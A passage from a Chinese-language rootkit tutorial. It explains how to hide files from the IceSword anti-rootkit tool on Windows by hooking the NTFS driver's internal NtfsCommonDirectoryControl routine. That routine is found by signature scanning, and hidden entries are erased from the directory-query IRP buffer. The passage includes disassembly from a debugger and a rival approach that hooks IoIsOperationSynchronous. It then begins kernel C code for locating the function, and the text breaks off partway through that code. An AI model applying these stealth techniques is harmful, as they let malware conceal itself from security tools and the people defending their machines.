f98c92f4 395de4 cmp dword ptr [ebp-1Ch],ebx
f98c92f7 7579 jne Ntfs!NtfsFsdDirectoryControl+0x92
(f98c9372)
f98c92f9 885ddc mov byte ptr [ebp-24h],bl
f98c92fc ff750c push dword ptr [ebp+0Ch]
f98c92ff ff158c8b8bf9 call dword ptr
[Ntfs!_imp__IoIsOperationSynchronous (f98b8b8c)]
f98c9305 84c0 test al,al
f98c9307 740d je Ntfs!NtfsFsdDirectoryControl+0x58
(f98c9316)
该方法通过挂钩IoIsOperationSynchronous函数,通过栈回溯,检查
[ebp+4]==NtfsFsdDirectoryControl函数地址来判定是否是Icesword发送查询的IRP,然后
由于 ntfs 驱动的 dispatch routine在此处没有设置 CompletionRoutine 的,他通过给当前
的 stackLocation 设置 CompletionRoutine,区别 IoSetCompletionRoutine 给下层驱动设
置 CompletionRoutine 而使用 IoGetCurrentIrpStackLocation 函数。
irpSp->CompletionRoutine = MyFilterFiles(这里抹掉 Irp->UserBuffer 隐藏文件),但
是这里注意 IceSword 自己也实现一个完成函数,因此 MyFilterFiles 处理完
Irp->UserBuffer 后,再 push 参数, call icesword 的完成函数即可,在这里我不采取这
种方法,说了这么多,难道是多余,其实不是的,了解别人的思路对自己也很有帮助的。
通过 windbg 跟踪,我发现其查询文件的(icesword1.22 采取反调试技术,我有机会再给大
家介绍介绍)流程调用如下图2:

函数调用流程如下:
NtfsFsdDirectoryControl --->> NtfsCommonDirectoryControl ---->> NtfsQueryDirectory
因此在这里我要HOOK NtfsCommonDirectoryControl函数来实现文件隐藏,下面我们看一下
NtfsCommonDirectoryControl函数的声明:
NTSTATUS
NtfsCommonDirectoryControl (
IN PIRP_CONTEXT IrpContext,
IN PIRP Irp //Supplies the Irp to process
)
This is the common routine for Directory Control called by both the fsd
and fsp threads(这既被 fsd 又被 fsd threads(文件系统处理线程)调用的 Directory
Control的通用例程)。
这个函数参数里既有IRP,本身就是查询文件目录的函数,因此决定对它动手脚了。
下面就是写代码实现,要注意两个问题:
一、 sCommonDirectoryControl的函数地址如何获取,它既不是导出函数,也不在NTFS.SYS
的导入表里面,因此采取特征码搜索,因为该函数会被 NtfsFsdDirectoryControl 函数调
用,而 NtfsFsdDirectoryControl函数是NTFS的查询文件的分发例程函数。
二、如何实现隐藏文件的函数,在查询到文件的 IRP 里抹掉需要隐藏的文件,再返回给
NtfsFsdDirectoryControl 函数,也就是由该函数返回给 Icesword1.22 查询到的文件链表
(但是这个IRP已经是被我们抹去了需要隐藏文件后的IRP 了)。
核心代码如下:
ULONG FindNtfsXXFuncRVA(IN PCWSTR FullFilePath)
{
HANDLE hFile;
UNICODE_STRING uniFullpath={0};
OBJECT_ATTRIBUTES oa={0};
IO_STATUS_BLOCK iosb={0};
NTSTATUS status=STATUS_SUCCESS;
ULONG result=0;
LARGE_INTEGER byteOffset;
ULONG NtHeadersOffset;
ULONG PESignature;
ULONG AddressOfEntryPoint;
ULONG SizeofImage;
ULONG ImageBase;
ULONG NeedSize;
PUCHAR FileContent;
PUCHAR FileContent2;
int i;
ULONG OldIrpDispatchRoutine=0;
ULONG NtfsCodestartAddress=0;
ULONG CallHooK=0;
RtlInitUnicodeString(&uniFullpath,FullFilePath);
InitializeObjectAttributes(&oa,&uniFullpath,OBJ_KERNEL_HANDLE |
OBJ_CASE_INSENSITIVE,NULL,NULL);
status = IoCreateFile(&hFile,
0x80,
&oa,
&iosb,
NULL, |